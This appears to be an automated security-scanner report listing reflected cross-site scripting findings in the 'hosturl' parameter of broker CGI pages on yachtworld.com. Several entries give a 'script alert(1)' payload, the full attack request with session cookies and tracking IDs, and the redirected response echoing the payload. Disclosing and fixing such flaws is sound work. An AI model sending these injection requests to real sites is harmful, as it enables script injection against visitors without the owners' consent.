HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:19 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:25 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload 1b16a<script>alert(1)</script>8b6edeb2d0e was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /clarkslanding/clarkslanding_1.cgi?company=clarkslanding&limit=50&type=&new=&units=Feet&hosturl=clarkslanding1b16a<script>alert(1)</script>8b6edeb2d0e&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:49:56 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslanding1b16a< ...[SNIP]... </script>8b6edeb2d0e/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslanding1b16a<script>alert(1)</script>8b6edeb2d0e/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslanding1b16a<script> ...[SNIP]...
The value of the hosturl request parameter is copied into an HTML comment. The payload 9db70--><script>alert(1)</script>c4a8e195ae7 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /clarkslanding/clarkslanding_1.cgi?company=clarkslanding&limit=50&type=&new=&units=Feet&hosturl=clarkslanding9db70--><script>alert(1)</script>c4a8e195ae7&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:50:11 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload 35706<script>alert(1)</script>b0bead5a2da was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /clarkslanding/clarkslanding_2.cgi?company=clarkslanding&limit=50&type=&new=Used&units=Feet&hosturl=clarkslanding35706<script>alert(1)</script>b0bead5a2da&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:49:06 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslanding35706< ...[SNIP]... </script>b0bead5a2da/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslanding35706<script>alert(1)</script>b0bead5a2da/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslanding35706<script> ...[SNIP]...
The value of the hosturl request parameter is copied into an HTML comment. The payload dc7ce--><script>alert(1)</script>0dfd462890c was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /clarkslanding/clarkslanding_2.cgi?company=clarkslanding&limit=50&type=&new=Used&units=Feet&hosturl=clarkslandingdc7ce--><script>alert(1)</script>0dfd462890c&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:49:10 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 7047b><script>alert(1)</script>8fbd77f715f was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /clarkslanding/clarkslanding_3.cgi?company=clarkslanding&limit=50&type=&new=New&units=Feet&hosturl=clarkslanding7047b><script>alert(1)</script>8fbd77f715f&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:49:08 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into an HTML comment. The payload b927f--><script>alert(1)</script>be89640f230 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
